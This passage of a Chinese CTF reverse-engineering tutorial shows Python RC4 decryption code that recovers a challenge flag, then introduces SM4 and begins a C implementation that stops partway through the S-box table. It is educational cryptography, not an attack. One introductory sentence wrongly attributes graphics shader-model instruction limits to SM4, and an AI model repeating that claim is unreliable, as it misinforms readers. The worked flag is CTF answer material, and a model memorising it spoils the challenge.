操作，因为 s 盒的长度为256，所以这里很好判断，如果在CTF逆向过程中看到有多次 %256 的操作最后又有异或的话那可以考虑是否是RC4密码</p><h2 id="解密-3"><a href="#解密-3" class="headerlink" title="解密"></a>解密</h2><p>python实现如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">import</span> random, base64</span><br><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> sha1</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">crypt</span><span class="params">(data, key)</span>:</span></span><br><span class="line">    <span class="string">"""RC4 algorithm"""</span></span><br><span class="line">    x = <span class="number">0</span></span><br><span class="line">    box = range(<span class="number">256</span>)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">256</span>):</span><br><span class="line">        x = (x + box[i] + ord(key[i % len(key)])) % <span class="number">256</span></span><br><span class="line">        box[i], box[x] = box[x], box[i]</span><br><span class="line">    x = y = <span class="number">0</span></span><br><span class="line">    out = []</span><br><span class="line">    <span class="keyword">for</span> char <span class="keyword">in</span> data:</span><br><span class="line">        x = (x + <span class="number">1</span>) % <span class="number">256</span></span><br><span class="line">        y = (y + box[x]) % <span class="number">256</span></span><br><span class="line">        box[x], box[y] = box[y], box[x]</span><br><span class="line">        out.append(chr(ord(char) ^ box[(box[x] + box[y]) % <span class="number">256</span>]))</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">return</span> <span class="string">''</span>.join(out)</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">tencode</span><span class="params">(data, key, encode=base64.b64encode, salt_length=<span class="number">16</span>)</span>:</span></span><br><span class="line">    <span class="string">"""RC4 encryption with random salt and final encoding"""</span></span><br><span class="line">    salt = <span class="string">''</span></span><br><span class="line">    <span class="keyword">for</span> n <span class="keyword">in</span> range(salt_length):</span><br><span class="line">        salt += chr(random.randrange(<span class="number">256</span>))</span><br><span class="line">    data = salt + crypt(data, sha1(key + salt).digest())</span><br><span class="line">    <span class="keyword">if</span> encode:</span><br><span class="line">        data = encode(data)</span><br><span class="line">    <span class="keyword">return</span> data</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">tdecode</span><span class="params">(data, key, decode=base64.b64decode, salt_length=<span class="number">16</span>)</span>:</span></span><br><span class="line">    <span class="string">"""RC4 decryption of encoded data"""</span></span><br><span class="line">    <span class="keyword">if</span> decode:</span><br><span class="line">        data = decode(data)</span><br><span class="line">    salt = data[:salt_length]</span><br><span class="line">    <span class="keyword">return</span> crypt(data[salt_length:], sha1(key + salt).digest())</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">    <span class="comment"># 需要解密的数据</span></span><br><span class="line">    data = <span class="string">'UUyFTj8PCzF6geFn6xgBOYSvVTrbpNU4OF9db9wMcPD1yDbaJw=='</span></span><br><span class="line">    <span class="comment"># 密钥</span></span><br><span class="line">    key = <span class="string">'welcometoicqedu'</span></span><br><span class="line">    <span class="comment"># 解码</span></span><br><span class="line">    decoded_data = tdecode(data=data, key=key)</span><br><span class="line">    print(<span class="string">"明文是："</span>)</span><br><span class="line">    <span class="keyword">print</span> decoded_data</span><br></pre></td></tr></table></figure><p>输出如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[Running] python -u <span class="string">"/home/thunder/Desktop/CTF/crypt/example/rc4_example/test.py"</span></span><br><span class="line">明文是：</span><br><span class="line">flag&#123;rc4_l_keepgoing&#125;</span><br><span class="line"></span><br><span class="line">[Done] exited <span class="keyword">with</span> code=<span class="number">0</span> <span class="keyword">in</span> <span class="number">0.14</span> seconds</span><br></pre></td></tr></table></figure><p>在线解密网站：<a href="https://www.sojson.com/encrypt_rc4.html" target="_blank" rel="noopener">https://www.sojson.com/encrypt_rc4.html</a></p><h1 id="0x03：SM4"><a href="#0x03：SM4" class="headerlink" title="0x03：SM4"></a>0x03：SM4</h1><h2 id="介绍-1"><a href="#介绍-1" class="headerlink" title="介绍"></a>介绍</h2><p>SM4.0（原名SMS4.0）是中华人民共和国政府采用的一种分组密码标准，由国家密码管理局于2012年3月21日发布。相关标准为“GM/T 0002-2012《SM4分组密码算法》（原SMS4分组密码算法）”。在商用密码体系中，SM4主要用于数据加密，其算法公开，分组长度与密钥长度均为128bit，加密算法与密钥扩展算法都采用32轮非线性迭代结构，S盒为固定的8比特输入8比特输出。SM4.0中的指令长度被提升到大于64K（即64×1024）的水平，这是SM 3.0规格（渲染指令长度允许大于512）的128倍。</p><h2 id="加密过程-2"><a href="#加密过程-2" class="headerlink" title="加密过程"></a>加密过程</h2><p>这里我简要介绍一下<strong>SM4</strong>算法，详细的过程可以查看参考链接，首先我们要知道<strong>SM4</strong>是一个对称加密算法，也就是说加密和解密的密钥相同，首先我们要清楚下面几个概念</p><ul><li><p><strong>SM4</strong>是分组密码，所以我们要将明文分组，将明文分成128位一组</p><p><img src="/2019/05/21/Reverse Cryptography/1.png" alt="1"></p></li><li><p>S(Sbox)盒负责置换我们的明文</p><p><img src="/2019/05/21/Reverse Cryptography/2.png" alt="2"></p></li><li><p>因为<strong>SM4</strong>面向的是32bit的字(word)，S盒处理的是两个16进制数也就是8bit的字节，所以我们要用4个S盒来置换</p><p><img src="/2019/05/21/Reverse Cryptography/3.png" alt="3"></p></li><li><p>轮函数F的概念如下图，以字为单位进行加密运算，称一次迭代运算为一轮变换</p><p><img src="/2019/05/21/Reverse Cryptography/4.png" alt="4"></p></li><li><p>合成置换T就是非线性变换和线性变换的一个组合过程</p><p><img src="/2019/05/21/Reverse Cryptography/5.png" alt="5"></p></li></ul><p>了解上述一些概念之后加密解密的过程如下图</p><p><img src="/2019/05/21/Reverse Cryptography/6.png" alt="6"></p><p>在SM4算法中，轮秘钥的产生是通过用户选择主秘钥作为基本的秘钥数据，在通过一些算法生成轮秘钥，在密钥拓展中，我们通过一些常数对用户选择的主钥进行操作，增大随机性。密钥扩展算法如下</p><p><img src="/2019/05/21/Reverse Cryptography/7.png" alt="7"></p><h2 id="实现-2"><a href="#实现-2" class="headerlink" title="实现"></a>实现</h2><p>代码出自<a href="https://blog.csdn.net/cg129054036/article/details/83012721" target="_blank" rel="noopener">这里</a></p><p>sm4.c加密解密函数的实现</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// sm4.c</span></span><br><span class="line"><span class="comment">// Test vector 1</span></span><br><span class="line"><span class="comment">// plain: 01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10</span></span><br><span class="line"><span class="comment">// key:   01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10</span></span><br><span class="line"><span class="comment">//    round key and temp computing result:</span></span><br><span class="line"><span class="comment">//    rk[ 0] = f12186f9 X[ 0] = 27fad345</span></span><br><span class="line"><span class="comment">//    rk[ 1] = 41662b61 X[ 1] = a18b4cb2</span></span><br><span class="line"><span class="comment">//    rk[ 2] = 5a6ab19a X[ 2] = 11c1e22a</span></span><br><span class="line"><span class="comment">//    rk[ 3] = 7ba92077 X[ 3] = cc13e2ee</span></span><br><span class="line"><span class="comment">//    rk[ 4] = 367360f4 X[ 4] = f87c5bd5</span></span><br><span class="line"><span class="comment">//    rk[ 5] = 776a0c61 X[ 5] = 33220757</span></span><br><span class="line"><span class="comment">//    rk[ 6] = b6bb89b3 X[ 6] = 77f4c297</span></span><br><span class="line"><span class="comment">//    rk[ 7] = 24763151 X[ 7] = 7a96f2eb</span></span><br><span class="line"><span class="comment">//    rk[ 8] = a520307c X[ 8] = 27dac07f</span></span><br><span class="line"><span class="comment">//    rk[ 9] = b7584dbd X[ 9] = 42dd0f19</span></span><br><span class="line"><span class="comment">//    rk[10] = c30753ed X[10] = b8a5da02</span></span><br><span class="line"><span class="comment">//    rk[11] = 7ee55b57 X[11] = 907127fa</span></span><br><span class="line"><span class="comment">//    rk[12] = 6988608c X[12] = 8b952b83</span></span><br><span class="line"><span class="comment">//    rk[13] = 30d895b7 X[13] = d42b7c59</span></span><br><span class="line"><span class="comment">//    rk[14] = 44ba14af X[14] = 2ffc5831</span></span><br><span class="line"><span class="comment">//    rk[15] = 104495a1 X[15] = f69e6888</span></span><br><span class="line"><span class="comment">//    rk[16] = d120b428 X[16] = af2432c4</span></span><br><span class="line"><span class="comment">//    rk[17] = 73b55fa3 X[17] = ed1ec85e</span></span><br><span class="line"><span class="comment">//    rk[18] = cc874966 X[18] = 55a3ba22</span></span><br><span class="line"><span class="comment">//    rk[19] = 92244439 X[19] = 124b18aa</span></span><br><span class="line"><span class="comment">//    rk[20] = e89e641f X[20] = 6ae7725f</span></span><br><span class="line"><span class="comment">//    rk[21] = 98ca015a X[21] = f4cba1f9</span></span><br><span class="line"><span class="comment">//    rk[22] = c7159060 X[22] = 1dcdfa10</span></span><br><span class="line"><span class="comment">//    rk[23] = 99e1fd2e X[23] = 2ff60603</span></span><br><span class="line"><span class="comment">//    rk[24] = b79bd80c X[24] = eff24fdc</span></span><br><span class="line"><span class="comment">//    rk[25] = 1d2115b0 X[25] = 6fe46b75</span></span><br><span class="line"><span class="comment">//    rk[26] = 0e228aeb X[26] = 893450ad</span></span><br><span class="line"><span class="comment">//    rk[27] = f1780c81 X[27] = 7b938f4c</span></span><br><span class="line"><span class="comment">//    rk[28] = 428d3654 X[28] = 536e4246</span></span><br><span class="line"><span class="comment">//    rk[29] = 62293496 X[29] = 86b3e94f</span></span><br><span class="line"><span class="comment">//    rk[30] = 01cf72e5 X[30] = d206965e</span></span><br><span class="line"><span class="comment">//    rk[31] = 9124a012 X[31] = 681edf34</span></span><br><span class="line"><span class="comment">// cypher: 68 1e df 34 d2 06 96 5e 86 b3 e9 4f 53 6e 42 46</span></span><br><span class="line"><span class="comment">// </span></span><br><span class="line"><span class="comment">// test vector 2</span></span><br><span class="line"><span class="comment">// the same key and plain 1000000 times coumpting </span></span><br><span class="line"><span class="comment">// plain:  01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10</span></span><br><span class="line"><span class="comment">// key:    01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10</span></span><br><span class="line"><span class="comment">// cypher: 59 52 98 c7 c6 fd 27 1f 04 02 f8 04 c3 3d 3f 66</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"sm4.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">* 32-bit integer manipulation macros (big endian)</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifndef</span> GET_ULONG_BE</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> GET_ULONG_BE(n,b,i)                             \</span></span><br><span class="line">&#123;                                                       \</span><br><span class="line">    (n) = ( (<span class="keyword">unsigned</span> <span class="keyword">long</span>) (b)[(i)    ] &lt;&lt; <span class="number">24</span> )        \</span><br><span class="line">        | ( (<span class="keyword">unsigned</span> <span class="keyword">long</span>) (b)[(i) + <span class="number">1</span>] &lt;&lt; <span class="number">16</span> )        \</span><br><span class="line">        | ( (<span class="keyword">unsigned</span> <span class="keyword">long</span>) (b)[(i) + <span class="number">2</span>] &lt;&lt;  <span class="number">8</span> )        \</span><br><span class="line">        | ( (<span class="keyword">unsigned</span> <span class="keyword">long</span>) (b)[(i) + <span class="number">3</span>]       );       \</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifndef</span> PUT_ULONG_BE</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PUT_ULONG_BE(n,b,i)                             \</span></span><br><span class="line">&#123;                                                       \</span><br><span class="line">    (b)[(i)    ] = (<span class="keyword">unsigned</span> <span class="keyword">char</span>) ( (n) &gt;&gt; <span class="number">24</span> );       \</span><br><span class="line">    (b)[(i) + <span class="number">1</span>] = (<span class="keyword">unsigned</span> <span class="keyword">char</span>) ( (n) &gt;&gt; <span class="number">16</span> );       \</span><br><span class="line">    (b)[(i) + <span class="number">2</span>] = (<span class="keyword">unsigned</span> <span class="keyword">char</span>) ( (n) &gt;&gt;  <span class="number">8</span> );       \</span><br><span class="line">    (b)[(i) + <span class="number">3</span>] = (<span class="keyword">unsigned</span> <span class="keyword">char</span>) ( (n)       );       \</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">*rotate shift left marco definition</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span>  SHL(x,n) (((x) &amp; 0xFFFFFFFF) &lt;&lt; n)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> ROTL(x,n) (SHL((x),n) | ((x) &gt;&gt; (32 - n)))</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> SWAP(a,b) &#123; unsigned long t = a; a = b; b = t; t = 0; &#125;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">* Expanded SM4 S-boxes</span></span><br><span class="line"><span class="comment">/* Sbox table: 8bits input convert to 8 bits output*/</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">const</span> <span class="keyword">unsigned</span> <span class="keyword">char</span> SboxTable[<span class="number">16</span>][<span class="number">16</span>] =</span><br><span class="line">&#123;</span><br><span class="line">&#123; <span class="number">0xd6</span>, <span class="number">0x90</span>, <span class="number">0xe9</span>, <span class="number">0xfe</span>, <span class="number">0xcc</span>, <span class="number">0xe1</span>, <span class="number">0x3d</span>, <span class="number">0xb7</span>, <span class="number">0x16</span>, <span class="number">0xb6</span>, <span class="number">0x14</span>, <span class="number">0xc2</span>, <span class="number">0x28</span>, <span class="number">0xfb</span>, <span class="number">0x2c</span>, <span class="number">0x05</span> &#125;,</span><br><span class="line">&#123; <span class="number">0x2b</span>, <span class="number">0x67</span>, <span class="number">0x9a</span>, <span class="number">0x76</span>, <span class="number">0x2a</span>, <span class="number">0xbe</span>, <span class="number">0x04</span>, <span class="number">0xc3</span>, <span class="number">0xaa</span>, <span class="number">0x44</span>, <span class="number">0x13</span>, <span class="number">0x26</span>, <span class="number">0x49</span>, <span class="number">0x86</span>, <span class="number">0x06</span>, <span class="number">0x99</span> &#125;,</span><br><span class="line">&#123; <span class="number">0x9c</span>, <span class="number">0x42</span>, <span class="number">0x50</span>, <span class="number">0xf4</span>, <span class="number">0x91</span>, <span class="number">0xef</span>, <span class="number">0x98</span>, <span class="number">0x7a</span>, <span class="number">0x33</span>, <span class="number">0x54</span>, <span class="number">0x0b</span>, <span class="number">0x43</span>, <span class="number">0xed</span>, <span class="number">0xcf</span>, <span class="number">0xac</span>, <span class="number">0x62</span> &#125;,</span><br><span class="line">&#123; <span class="number">0xe4</span>, <span class="number">0xb3</span>, <span class="number">0x1c</span>, <span class="number">0xa9</span>, <span class="number">0xc9</span>, <span class="number">0x08</span>, <span class="number">0xe8</span>, <span class="number">0x95</span>, <span class="number">0x80</span>, <span class="number">0xdf</span>, <span class="number">0x94</span>, <span class="number">0xfa</span>, <span class="number">0x75</span>, <span class="number">0x8f</span>, <span class="number">0x3f</span>, <span class="number">0xa6</span> &#125;,</span><br><span class="line">&#123; <span class="number">0x47</span>, <span class="number">0x07</span>, <span class="number">0xa7</span>, <span class="number">0xfc</span>, <span class="number">0xf3</span>, <span class="number">0x73</span>, <span class="number">0x17</span>, <span class="number">0xba</span>, <span class="number">0x83</span>, <span class="number">0x59</span>, <span class="number">0x3c</span>, <span class="number">0x19</span>, <span class="number">0xe6</span>, <span class="number">0x85</span>, <span class="number">0x4f</span>, <span class="number">0xa8</span> &#125;,</span><br><span class="line">&#123; <span class="number">0x68</span>, <span class="number">0x6b</span>, <span class="number">0x81</span>, <span class="number">0xb2</span>, <span class="number">0x71</span>, <span class="number">0x64</span>, <span class="number">0xda</span>, <span class="number">0x8b</span>, <span class="number">0xf8</span>, <span class="number">0xeb</span>, <span class="number">0x0f</span>, <span class="number">0x4b</span>, <span class="number">0x70</span>, <span class="number">0x56</span>, <span class="number">0x9d</span>, <span class="number">0x35</span> &#125;,</span><br><span class="line">&#123; <span class="number">0x1e</span>, <span class="number">0x24</span>, <span class="number">0x0e</span>, <span class="number">0x5e</span>, <span class="number">0x63</span>, <span class="number">0x58</span>, <span class="number">0xd1</span>, <span class="number">0xa2</span>, <span class="number">0x25</span>, <span class="number">0x22</span>, <span class="number">0x7c</span>, <span class="number">0x3b</span>, <span class="number">0x01</span>, <span class="number">0x21</span>, <span class="number">0x78</span>, <span class="number">0x87</span> &#125;,</span><br><span class="line">&#123; <span class="number">0xd4</span>, <span class="number">0x00</span>, <span class="number">0x46</span>, <span class="number">0x57</span>, <span class="number">0x9f</span>, <span class="number">0xd3</span>, <span class="number">0x27</span>, <span class="number">0x52</span>, <span class="number">0x4c</span>, <span class="number">0x36</span>, <span class="number">0x02</span>, <span class="number">0xe7</span>, <span class="number">0xa0</span>, <span class="number">0xc4</span>, <span class="number">0xc8</span>, <span class="number">0x9e</span> &#125;,</span><br><span class="line">&#123; <span class="number">0xea</span>, <span class="number">0xbf</span>, <span class="number">0x8a</span>, <span class="number">0xd2</span>, <span class="number">0x40</span>, <span class="number">0xc7</span>, <span class="number">0x38</span>, <span class="number">0xb5</span>, <span class="number">0xa3</span>, <span class="number">0xf7</span>, <span class="number">0xf2</span>, <span class="number">0xce</span>, <span class="number">0xf9</span>, <span class="number">0x61</span>, <span class="number">0x15</span>, <span class="number">0xa1</span> &#125;,</span><br><span class="line">&#123; <span class="number">0xe0</span>, <span class="number">0xae</span>, <span class="number">0x5d</span>, <span class="number">0xa4</span>, <span class="number">0x9b</span>, <span class="number">0x34</span>, <span class="number">0x1a</span>, <span class="number">0x55</span>, <span class="number">0xad</span>, <span class="number">0x93</span>, <span class="number">0x32</span>, <span class="number">0x30</span>, <span class="number">0xf5</span>, <span class="number">0x8c</span>, <span class="number">0xb1</span>, <span class="number">0xe3</span> &#125;,</span><br><span class="line">&#123; <span class="number">0x1d</span>, <span class="number">0xf6</span>, <span class="number">0xe2</span>, <span class="number">0x2e</span>, <span class="number">0x82</span>, <span class="number">0x66</span>, <span class="number">0xca</span>, <span class="number">0x60</span>, <span class="number">0xc0</span>, <span class="number">0x29</span>, <span class="number">0x23</span>, <span class="number">0xab</span>, <span class="number">0x0d</span>, <span class="number">0x53</span>, <span class="number">0x4e</span>, <span class="number">0x6f</span> &#125;,</span><br><span class="line">&#123; <span class="number">0xd5</span>, <span class="number">0xdb</span>, <span class="number">0x37</span>, <span class="number">0x45</span>, <span class="number">0xde</span>, <span class="number">0xfd</span>, <span class="number">0x8e</span>, <span class="number">0x2f</span>, <span class="number">0x03</span>, <span class="number">0xff</span>, <span class="number">0x6a</span>, <span class="number">0x72</span>, <span class="number">0x6d</span>, <span class="number">0x6c</span>, <span class="number">0x5b</span>, <span class="number">0x51</span> &#125;,</span><br><span class="line">&#123; <span class="number">0x8d</span>, <span class="number">0x1b</span>, <span class="number">0xaf</span>, <span class="number">0x92</span>, <span class="number">0xbb</span>, <span class="number">0xdd</span>, <span class="number">0xbc</span>, <span class="number">0x7f</span>, <span class="number">0x11</span>, <span class="number">0xd9</span>, <span class="number">0x5c</span>, <span class="number">0x41</span>, <span class="number">0x1f</span>, <span class="number">0x10</span>, <span class="number">0x5a</span>, <span class="number">0xd8</span> &#125;,</span><br><span class="line">&#123; <span class="number">0x0a</span>, <span class="number">0xc1</span>, <span class="number">0x31</span>, <span class="number">0x88</span>, <span class="number">0xa5</span>, <span class="number">0xcd</span>, <span class="number">0x7b</span>, <span class="number">0xbd</span>, <span class="number">0x2d</span>, <span class="number">0x74</span>, <span class="number">0xd0</span>, <span class="number">0x12</span>, <span class="number">0xb8</span>, <span class="number">0xe5</span>, <span class="number">0xb4</span>, <span class="number">0xb0</span> &#125;,</span><br><span class="line">&#123; <span class="number">0x89</span>, <span class="number">0x69</span>, <span class="number">0x97</span>, <span class="number">0x4a</span>, <span class="number">0x0c</span>, <span class="number">0x96</span>, <span class="number">0x77</span>, <span class="number">0x7e</span>, <span class="number">0x65</span>, <span class="number">0xb9</span>, <span class="number">0xf1</span>, <span class="number">0x09</span>, <span class="number">0xc5</span>, <span class="number">0x6e</span>, <span class="number">0xc6</span>, <span class="number">0x84</span> &#125;,</span><br><span class="line">&#123; <span class="number">0x18</span>, <span class="number">0xf0</span>, <span class="number">0x7d</span>, <span class="number">0xec</span>, <span class="number">0x3a</span>, <span 